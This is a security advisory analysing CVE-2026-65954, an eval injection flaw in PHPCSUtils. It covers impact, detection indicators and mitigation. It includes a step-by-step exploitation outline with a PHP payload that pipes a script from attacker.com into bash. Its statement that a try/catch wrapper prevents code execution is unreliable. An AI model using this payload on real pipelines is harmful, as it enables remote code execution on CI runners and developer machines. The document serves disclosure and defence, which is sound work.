CVE-2026-65954: 
PHP 脆弱性の分析と軽減

CVE-2026-65954 is an eval injection vulnerability in PHPCSUtils that allows arbitrary code execution when scanning untrusted PHP code. It affects PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() in versions 1.0.0-alpha1 through 1.2.2 of the phpcsstandards/phpcsutils Composer package. The vulnerability was privately disclosed by @rodrigoprimo, published as a security advisory on July 27, 2026, and added to the GitHub Advisory Database on September 29, 2026. It carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, PHPCSUtils Advisory).

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). The getActualArrayKey() method uses PHP's eval() to determine the runtime value of array keys encountered during static analysis, passing token content directly into eval('return ' . $content . ';') without sanitization. An attacker can craft a PHP file containing a malicious array key expression — such as 'system'('id') — that executes arbitrary OS commands when the file is scanned by any sniff extending AbstractArrayDeclarationSniff and calling getActualArrayKey(). Known vulnerable code paths include the PHPCSExtra sniffs Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes; other packages calling the same method may also be affected. The fix (commit 9f596b5) wraps the eval() call in a try/catch block for both Throwable and Exception to handle catchable errors, though the fundamental use of eval() on untrusted input is the underlying design flaw (GitHub Advisory, Fix Commit).

Successful exploitation results in arbitrary OS command execution with the privileges of the process running PHP_CodeSniffer (PHPCS) on the scanning host. This affects confidentiality, integrity, and availability at a high level, with a changed scope indicating impact beyond the vulnerable component itself. The most at-risk environments are CI/CD pipelines that automatically lint pull requests from external contributors, and developer workstations reviewing third-party PHP code — in both cases, the attacker only needs to submit or provide a maliciously crafted PHP file for scanning (GitHub Advisory, PHPCSUtils Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability requires user interaction (a developer or CI system must scan the malicious file), which limits opportunistic exploitation, but the attack complexity is low and no privileges are required on the target system. The CVE status is currently Reserved, and it has not been added to the CISA KEV catalog. No threat actor attribution is available.

1. Craft malicious PHP file: Create a PHP file containing an array with a malicious key expression, such as:

<?php
$arr = [
    'system'('curl http://attacker.com/shell.sh | bash') => 'value',
];

2. Target a vulnerable pipeline: Submit the malicious PHP file as part of a pull request to a repository whose CI pipeline runs PHPCS with PHPCSExtra sniffs (Universal.Arrays.DuplicateArrayKey or Universal.Arrays.MixedArrayKeyTypes) enabled, or share it with a developer who will scan it locally.
3. Trigger scanning: When PHPCS processes the file using a sniff that calls AbstractArrayDeclarationSniff::getActualArrayKey(), the method evaluates the array key expression via eval('return ' . $content . ';'), executing the embedded OS command.
4. Achieve code execution: The injected command runs with the privileges of the PHPCS process (e.g., the CI runner user or the developer's local account), enabling data exfiltration, reverse shell establishment, or further lateral movement within the environment (GitHub Advisory, PHPCSUtils Advisory).

• Process: Unexpected child processes spawned by the PHP interpreter during a PHPCS scan (e.g., sh, bash, curl, wget, python, nc) — particularly processes with network activity originating from a CI runner or developer workstation during a code linting job.
• Network: Outbound connections to unknown external hosts initiated by the PHPCS/PHP process during a scan; DNS lookups or HTTP requests to attacker-controlled infrastructure from the scanning host.
• Logs: CI pipeline logs showing unexpected output (e.g., command output such as uid=... from id, or HTTP response data) interleaved with PHPCS scan results; anomalous exit codes or error messages from PHPCS jobs.
• File System: Unexpected files written to the filesystem (e.g., web shells, cron entries, SSH keys) by the user account running PHPCS during or after a scan of untrusted code.

Upgrade phpcsstandards/phpcsutils to version 1.2.3 or later, which wraps the eval() call in exception handling to prevent malicious code execution (GitHub Advisory, Fix Commit). For users unable to upgrade immediately, disable the vulnerable PHPCSExtra sniffs by adding exclusion rules to your custom PHPCS ruleset — specifically excluding Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. Verify the sniffs are disabled by running phpcs -e --standard=/path/to/ruleset.xml and confirming they no longer appear in the output. Additionally, avoid running PHPCS with vulnerable versions against untrusted PHP code, particularly in automated CI pipelines processing external pull requests (PHPCSUtils Advisory).

The vulnerability was responsibly disclosed by @rodrigoprimo and remediated by the PHPCSUtils maintainer @jrfnl, with @edorian serving as remediation reviewer. The maintainer announced the release on Mastodon (phpc.social) and Twitter/X following the 1.2.3 release. The advisory was tracked by OSV, VulnDB, GitLab Advisories, and Tenable cloud security plugins shortly after publication (PHPCSUtils Advisory).